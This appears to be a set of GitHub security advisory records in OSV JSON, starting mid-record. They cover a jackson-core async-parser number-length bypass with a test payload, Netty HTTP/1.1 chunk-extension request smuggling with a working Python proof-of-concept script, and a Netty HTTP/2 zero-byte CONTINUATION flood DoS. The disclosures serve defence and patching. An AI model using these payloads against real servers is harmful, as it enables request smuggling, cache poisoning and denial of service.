5000;\n\n    private final JsonFactory factory = new JsonFactory();\n\n    // CONTROL: Sync parser correctly rejects a number exceeding maxNumberLength\n    @Test\n    void syncParserRejectsLongNumber() throws Exception {\n        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\t\t\n\t\t// Output to console\n        System.out.println(\"[SYNC] Parsing \" + TEST_NUMBER_LENGTH + \"-digit number (limit: \" + MAX_NUMBER_LENGTH + \")\");\n        try {\n            try (JsonParser p = factory.createParser(ObjectReadContext.empty(), payload)) {\n                while (p.nextToken() != null) {\n                    if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n                        System.out.println(\"[SYNC] Accepted number with \" + p.getText().length() + \" digits \u2014 UNEXPECTED\");\n                    }\n                }\n            }\n            fail(\"Sync parser must reject a \" + TEST_NUMBER_LENGTH + \"-digit number\");\n        } catch (StreamConstraintsException e) {\n            System.out.println(\"[SYNC] Rejected with StreamConstraintsException: \" + e.getMessage());\n        }\n    }\n\n    // VULNERABILITY: Async parser accepts the SAME number that sync rejects\n    @Test\n    void asyncParserAcceptsLongNumber() throws Exception {\n        byte[] payload = buildPayloadWithLongInteger(TEST_NUMBER_LENGTH);\n\n        NonBlockingByteArrayJsonParser p =\n            (NonBlockingByteArrayJsonParser) factory.createNonBlockingByteArrayParser(ObjectReadContext.empty());\n        p.feedInput(payload, 0, payload.length);\n        p.endOfInput();\n\n        boolean foundNumber = false;\n        try {\n            while (p.nextToken() != null) {\n                if (p.currentToken() == JsonToken.VALUE_NUMBER_INT) {\n                    foundNumber = true;\n                    String numberText = p.getText();\n                    assertEquals(TEST_NUMBER_LENGTH, numberText.length(),\n                        \"Async parser silently accepted all \" + TEST_NUMBER_LENGTH + \" digits\");\n                }\n            }\n            // Output to console\n            System.out.println(\"[ASYNC INT] Accepted number with \" + TEST_NUMBER_LENGTH + \" digits \u2014 BUG CONFIRMED\");\n            assertTrue(foundNumber, \"Parser should have produced a VALUE_NUMBER_INT token\");\n        } catch (StreamConstraintsException e) {\n            fail(\"Bug is fixed \u2014 async parser now correctly rejects long numbers: \" + e.getMessage());\n        }\n        p.close();\n    }\n\n    private byte[] buildPayloadWithLongInteger(int numDigits) {\n        StringBuilder sb = new StringBuilder(numDigits + 10);\n        sb.append(\"{\\\"v\\\":\");\n        for (int i = 0; i \u003c numDigits; i++) {\n            sb.append((char) (\u00271\u0027 + (i % 9)));\n        }\n        sb.append(\u0027}\u0027);\n        return sb.toString().getBytes(StandardCharsets.UTF_8);\n    }\n}\n\n```\n\n\n### Impact\nA malicious actor can send a JSON document with an arbitrarily long number to an application using the async parser (e.g., in a Spring WebFlux or other reactive application). This can cause:\n1.  **Memory Exhaustion:** Unbounded allocation of memory in the `TextBuffer` to store the number\u0027s digits, leading to an `OutOfMemoryError`.\n2.  **CPU Exhaustion:** If the application subsequently calls `getBigIntegerValue()` or `getDecimalValue()`, the JVM can be tied up in O(n^2) `BigInteger` parsing operations, leading to a CPU-based DoS.\n\n### Suggested Remediation\n\nThe async parsing path should be updated to respect the `maxNumberLength` constraint. The simplest fix appears to ensure that `_valueComplete()` or a similar method in the async path calls the appropriate validation methods (`resetInt()` or `resetFloat()`) already present in `ParserBase`, mirroring the behavior of the synchronous parsers.\n\n**NOTE:** This research was performed in collaboration with [rohan-repos](https://github.com/rohan-repos)",
  "id": "GHSA-72hv-8253-57qq",
  "modified": "2026-04-07T16:30:17Z",
  "published": "2026-02-28T02:01:05Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-72hv-8253-57qq"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/pull/1555"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FasterXML/jackson-core/commit/b0c428e6f993e1b5ece5c1c3cb2523e887cd52cf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/FasterXML/jackson-core"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "jackson-core: Number Length Constraint Bypass in Async Parser Leads to Potential DoS Condition"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.132.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.10.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33870"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-444"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:48:55Z",
    "nvd_published_at": "2026-03-27T20:16:34Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nNetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.\n\n## Background\n\nThis vulnerability is a new variant discovered during research into the \"Funky Chunks\" HTTP request smuggling techniques:\n\n- \u003chttps://w4ke.info/2025/06/18/funky-chunks.html\u003e\n- \u003chttps://w4ke.info/2025/10/29/funky-chunks-2.html\u003e\n\nThe original research tested various chunk extension parsing differentials but did not cover quoted-string handling within extension values.\n\n## Technical Details\n\n**RFC 9110 Section 7.1.1** defines chunked transfer encoding:\n\n```\nchunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF\nchunk-ext = *( BWS \";\" BWS chunk-ext-name [ BWS \"=\" BWS chunk-ext-val ] )\nchunk-ext-val = token / quoted-string\n```\n\n**RFC 9110 Section 5.6.4** defines quoted-string:\n\n```\nquoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE\n```\n\nCritically, the allowed character ranges within a quoted-string are:\n\n```\nqdtext = HTAB / SP / %x21 / %x23-5B / %x5D-7E / obs-text\nquoted-pair = \"\\\" ( HTAB / SP / VCHAR / obs-text )\n```\n\nCR (`%x0D`) and LF (`%x0A`) bytes fall outside all of these ranges and are therefore **not permitted** inside chunk extensions\u2014whether quoted or unquoted. A strictly compliant parser should reject any request containing CR or LF bytes before the actual line terminator within a chunk extension with a `400 Bad Request` response (as Squid does, for example).\n\n## Vulnerability\n\nNetty terminates chunk header parsing at `\\r\\n` inside quoted strings instead of rejecting the request as malformed. This creates a parsing differential between Netty and RFC-compliant parsers, which can be exploited for request smuggling.\n\n**Expected behavior (RFC-compliant):**\nA request containing CR/LF bytes within a chunk extension value should be rejected outright as invalid.\n\n**Actual behavior (Netty):**\n\n```\nChunk: 1;a=\"value\n            ^^^^^ parsing terminates here at \\r\\n (INCORRECT)\nBody: here\"... is treated as body or the beginning of a subsequent request\n```\n\nThe root cause is that Netty does not validate that CR/LF bytes are forbidden inside chunk extensions before the terminating CRLF. Rather than attempting to parse through quoted strings, the appropriate fix is to reject such requests entirely.\n\n## Proof of Concept\n\n```python\n#!/usr/bin/env python3\nimport socket\n\npayload = (\n    b\"POST / HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Transfer-Encoding: chunked\\r\\n\"\n    b\"\\r\\n\"\n    b\u00271;a=\"\\r\\n\u0027\n    b\"X\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n    b\"GET /smuggled HTTP/1.1\\r\\n\"\n    b\"Host: localhost\\r\\n\"\n    b\"Content-Length: 11\\r\\n\"\n    b\"\\r\\n\"\n    b\u0027\"\\r\\n\u0027\n    b\"Y\\r\\n\"\n    b\"0\\r\\n\"\n    b\"\\r\\n\"\n)\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nsock.settimeout(3)\nsock.connect((\"127.0.0.1\", 8080))\nsock.sendall(payload)\n\nresponse = b\"\"\nwhile True:\n    try:\n        chunk = sock.recv(4096)\n        if not chunk:\n            break\n        response += chunk\n    except socket.timeout:\n        break\n\nsock.close()\nprint(f\"Responses: {response.count(b\u0027HTTP/\u0027)}\")\nprint(response.decode(errors=\"replace\"))\n```\n\n**Result:** The server returns two HTTP responses from a single TCP connection, confirming request smuggling.\n\n### Parsing Breakdown\n\n| Parser                | Request 1         | Request 2                          |\n|-----------------------|-------------------|------------------------------------|\n| Netty (vulnerable)    | POST / body=\"X\"  | GET /smuggled (SMUGGLED)           |\n| RFC-compliant parser  | 400 Bad Request   | (none \u2014 malformed request rejected)|\n\n## Impact\n\n- **Request Smuggling**: An attacker can inject arbitrary HTTP requests into a connection.\n- **Cache Poisoning**: Smuggled responses may poison shared caches.\n- **Access Control Bypass**: Smuggled requests can circumvent frontend security controls.\n- **Session Hijacking**: Smuggled requests may intercept responses intended for other users.\n\n## Reproduction\n\n1. Start the minimal proof-of-concept environment using the provided Docker configuration.\n2. Execute the proof-of-concept script included in the attached archive.\n\n## Suggested Fix\n\nThe parser should reject requests containing CR or LF bytes within chunk extensions rather than attempting to interpret them:\n\n```\n1. Read chunk-size.\n2. If \u0027;\u0027 is encountered, begin parsing extensions:\n   a. For each byte before the terminating CRLF:\n      - If CR (%x0D) or LF (%x0A) is encountered outside the\n        final terminating CRLF, reject the request with 400 Bad Request.\n   b. If the extension value begins with DQUOTE, validate that all\n      enclosed bytes conform to the qdtext / quoted-pair grammar.\n3. Only treat CRLF as the chunk header terminator when it appears\n   outside any quoted-string context and contains no preceding\n   illegal bytes.\n```\n\n## Acknowledgments\n\nCredit to Ben Kallus for clarifying the RFC interpretation during discussion on the HAProxy mailing list.\n\n## Resources\n\n- [RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)](https://www.rfc-editor.org/rfc/rfc9110)\n- [Funky Chunks Research](https://w4ke.info/2025/06/18/funky-chunks.html)\n- [Funky Chunks 2 Research](https://w4ke.info/2025/10/29/funky-chunks-2.html)\n\n## Attachments\n\n![Vulnerability Diagram](https://github.com/user-attachments/assets/2faaa23e-693b-4efc-afb7-aae1d4101e7e)\n\n[java_netty.zip](https://github.com/user-attachments/files/24697955/java_netty.zip)",
  "id": "GHSA-pwqr-wmgm-9rr8",
  "modified": "2026-03-27T21:49:43Z",
  "published": "2026-03-26T18:48:55Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-pwqr-wmgm-9rr8"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33870"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    },
    {
      "type": "WEB",
      "url": "https://w4ke.info/2025/06/18/funky-chunks.html"
    },
    {
      "type": "WEB",
      "url": "https://w4ke.info/2025/10/29/funky-chunks-2.html"
    },
    {
      "type": "WEB",
      "url": "https://www.rfc-editor.org/rfc/rfc9110"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Netty: HTTP Request Smuggling via Chunked Extension Quoted-String Parsing"
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.1.132.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c 4.2.10.Final"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "io.netty:netty-codec-http2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0.Alpha1"
            },
            {
              "fixed": "4.2.11.Final"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33871"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-26T18:49:21Z",
    "nvd_published_at": "2026-03-27T20:16:34Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA remote user can trigger a Denial of Service (DoS) against a Netty HTTP/2 server by sending a flood of `CONTINUATION` frames. The server\u0027s lack of a limit on the number of `CONTINUATION` frames, combined with a bypass of existing size-based mitigations using zero-byte frames, allows an user to cause excessive CPU consumption with minimal bandwidth, rendering the server unresponsive.\n\n### Details\nThe vulnerability exists in Netty\u0027s `DefaultHttp2FrameReader`. When an HTTP/2 `HEADERS` frame is received without the `END_HEADERS` flag, the server expects one or more subsequent `CONTINUATION` frames. However, the implementation does not enforce a limit on the *count* of these `CONTINUATION` frames.\n\nThe key issue is located in `codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`. The `verifyContinuationFrame()` method checks for stream association but fails to implement a frame count limit.\n\nAny user can exploit this by sending a stream of `CONTINUATION` frames with a zero-byte payload. While Netty has a `maxHeaderListSize` protection to limit the total size of headers, this check is never triggered by zero-byte frames. The logic effectively evaluates to `maxHeaderListSize - 0 \u003c currentSize`, which will not trigger the limit until a non-zero byte is added. As a result, the server is forced to process an unlimited number of frames, consuming a CPU thread and monopolizing the connection.\n\n`codec-http2/src/main/java/io/netty/handler/codec/http2/DefaultHttp2FrameReader.java`\n\n**`verifyContinuationFrame()` (lines 381-393)** \u2014 No frame count check:\n```java\nprivate void verifyContinuationFrame() throws Http2Exception {\n    verifyAssociatedWithAStream();\n    if (headersContinuation == null) {\n        throw connectionError(PROTOCOL_ERROR, \"...\");\n    }\n    if (streamId != headersContinuation.getStreamId()) {\n        throw connectionError(PROTOCOL_ERROR, \"...\");\n    }\n    // NO frame count limit!\n}\n```\n\n**`HeadersBlockBuilder.addFragment()` (lines 695-723)** \u2014 Byte limit bypassed by 0-byte frames:\n```java\n// Line 710-711: This check NEVER fires when len=0\nif (headersDecoder.configuration().maxHeaderListSizeGoAway() - len \u003c\n        headerBlock.readableBytes()) {\n    headerSizeExceeded();  // 10240 - 0 \u003c 1 =\u003e FALSE always\n}\n```\n\nWhen `len=0`: `maxGoAway - 0 \u003c readableBytes` \u2192 `10240 \u003c 1` \u2192 FALSE. The byte limit is never triggered.\n\n### Impact\nThis is a CPU-based Denial of Service (DoS). Any service using Netty\u0027s default HTTP/2 server implementation is impacted. An unauthenticated user can exhaust server CPU resources and block legitimate users, leading to service unavailability. The low bandwidth requirement for the attack makes it highly practical.",
  "id": "GHSA-w9fj-cfpg-grvv",
  "modified": "2026-03-27T21:48:53Z",
  "published": "2026-03-26T18:49:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/netty/netty/security/advisories/GHSA-w9fj-cfpg-grvv"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33871"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/netty/netty"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Netty HTTP/2 CONTINUATION Frame Flood DoS via Zero-Byte Frame Bypass"
}